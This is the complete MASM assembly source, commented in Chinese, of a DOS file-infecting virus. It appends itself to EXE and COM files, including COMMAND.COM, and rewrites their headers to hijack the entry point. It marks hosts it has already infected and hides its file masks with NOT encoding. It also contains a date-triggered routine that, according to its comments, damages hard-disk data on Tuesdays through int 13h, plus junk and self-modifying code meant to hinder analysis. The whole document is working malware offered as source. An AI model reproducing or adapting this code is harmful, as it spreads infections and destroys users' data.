; 感染对象: DOS 的 EXE COM 文件 ; 编译工具: MASM 6.0 , MASM 6.11CODE SEGMENT assume cs:code .386 org 100h start: mov cs:oldsp,sp ; 保存原程序的堆栈指针 mov cs:oldss,ss ; mov sp,stack_end mov ax,cs ; 设置新的堆栈指针 mov ss,ax ; push ds ;保存原 ds es push es ; mov ds,ax mov es,ax sub ax,oldseg ; 算出原程序的入口 push ax ; 并保存入栈 push oldip ; call setfile ;程序的核心部分 pop cs:oldip ; 取回原程序的入口 pop cs:oldseg ; pop es ; 恢复原 es ds pop ds ; mov sp,cs:oldss ; 恢复原 ss,sp mov ss,sp ; mov sp,cs:oldsp ; push oldseg ;跳回原程序入口点 push oldip ; retf ; db 09ah getdate proc near ;这个函数是取得时间是否是星期二是则破坏硬盘数据 mov ax,0ec32h ; 写要执行的代码 int 13h not ax ; 到 @dest1 位置 mov si,@des1 ; 这里既加密代码 mov word ptr [si],ax ; mov ah,2ah int 21h cmp al,2 jnz @gd_con mov ax,312h mov cx,1 mov dx,80h @des1: db 0ebh db 32 ret @gd_con: ret getdate endp setfile1 proc near call findfirst @sf_con: jc @sf_back call modify call findnext jmp @sf_con @sf_back: ret setfile1 endp setdata proc near push si push di push cx push ax pushf mov si,offset normal1 mov di,si mov cx,23h @aaa2: lodsb not ax stosb loop @aaa2 popf pop ax pop cx pop di pop si ret setdata endp
setfile proc near cmp ax,127h ; 没有作用只是干挠 jnz @aaa1 ; ax 不可能等于 127h call dword ptr oldsp ; ret ; db 0e8h ; @aaa: call getdate ret @aaa1: mov ah,01ah ;设置磁盘传输地址 mov dx,offset dta ;用于 findfirst int 21h ; call setdata ;数据解密 push @aaa mov dx,offset normal1 ; 找 *.exe mov ax,offset dta add ax,01eh mov fs,ax ; fs 用于传递文件名的地址 call setfile1 ; 传染文件 mov dx,offset normal2 ; 找 *.com call setfile1 mov dx,offset bootcmd ; 找 c:\windows\command.com mov fs,dx call setfile1 mov dx,offset bootcmd1 ; 找 c:\command.com mov si,dx ; mov word ptr [si],':C' ; mov fs,dx ; call setfile1 ; ret setfile endp db 09ah findfirst proc near mov ax,04e27h int 21h ret findfirst endp findnext proc near mov ah,04fh int 21h ret findnext endp modify proc near ;修改并感染程序 mov si,offset sbuffer ;可执行的文件头的地址 mov di,offset dta ;文件信息的地址 cmp dword ptr [di+01ah],1000 ; 若文件小于 1K 或 大于 1M 不感染 jb @fn_ret ; cmp dword ptr [di+01ah],0ffcffh ; jae @fn_ret ; mov dx,fs mov ax,4300h ;保存原文件属性 int 21h ;再改为没有属性 push cx ; mov ax,4301h xor cx,cx int 21h mov ax,03d02h ; 打开文件 int 21h ; jc @fn_ret3 ; mov bx,ax ; 读文件头 mov ah,03fh ; mov cx,1ch ; mov dx,offset sbuffer ; int 21h ; cmp word ptr [si],'ZM' ; 如不是可执行文件就不感染 jnz @fn_ret1 ; mov ax,word ptr [si+014h] ; 保存原程序入口 mov oldip,ax ; mov ax,word ptr [si+016h] ; mov oldseg,ax mov ax,4200h ; 检查是否已经被我感染过 mov cx,word ptr [di+1ch] ; mov dx,word ptr [di+1ah] ; sub dx,2 ; int 21h ; mov ah,3fh ; mov cx,2 ; mov dx,offset temp ; int 21h cmp word ptr temp,0dcd6h ; 若已经被感染就返回 jz @fn_ret1 ;
mov eax,dword ptr [di+01ah] ; 得到文件的总长 mov cx,0fh and cx,ax ; 算出感染后的入口点 mov fill,010h ; sub fill,cx ; movzx ecx,fill ; add eax,ecx ; sub eax,100h shr eax,4 mov cx,word ptr [si+8] sub ax,cx mov word ptr [si+14h],100h mov word ptr [si+16h],ax sub ax,oldseg mov oldseg,ax mov ax,4202h ;把本病毒写至文件尾 xor cx,cx ; xor dx,dx ; int 21h call setdata mov ah,40h mov cx,offset theend mov dx,offset start sub dx,fill sub cx,dx int 21h call setdata jc @fn_ret1 mov ax,4202h ; 算出加载程序的长度 xor cx,cx ; xor dx,dx ; int 21h mov cx,200h div cx inc ax mov word ptr [si+2],dx mov word ptr [si+4],ax mov ax,4200h ;改写文件头 xor cx,cx xor dx,dx int 21h mov ah,40h mov dx,si mov cx,1ch int 21h @fn_ret1: mov ah,03eh ;关闭文件 int 21h ; @fn_ret3: pop cx ;恢复原文件属性 mov ax,4301h ; mov dx,gs int 21h @fn_ret: ret modify endp oldip word 0 oldseg word 0 ;======== 用 not 换算过的数据 ======== normal1 db 0d5h,0d1h,09ah,087h,09ah,0ffh ; '*.EXE' normal2 db 0d5h,0d1h,09ch,090h,092h,0ffh ; '*.COM' bootcmd db 0bch,0c5h,0a3h,0a8h,0b6h,0b1h,0bbh,0b0h ; 'C:\WINDO' bootcmd1 db 0a8h,0ach,0a3h,0bch,0b0h,0b2h,0b2h,0beh ; 'WS\COMMAND.COM' db 0b1h,0bbh,0d1h,0bch,0b0h,0b2h,0ffh fl word 0dcd6h theend: oldsp word 0 oldss word 0 temp word 0 temp1 word 0 dta db 02bh dup(0) fill word 0 sbuffer db 1dh dup(0) stack_start db 40h dup(0) stack_end: code ends end start
|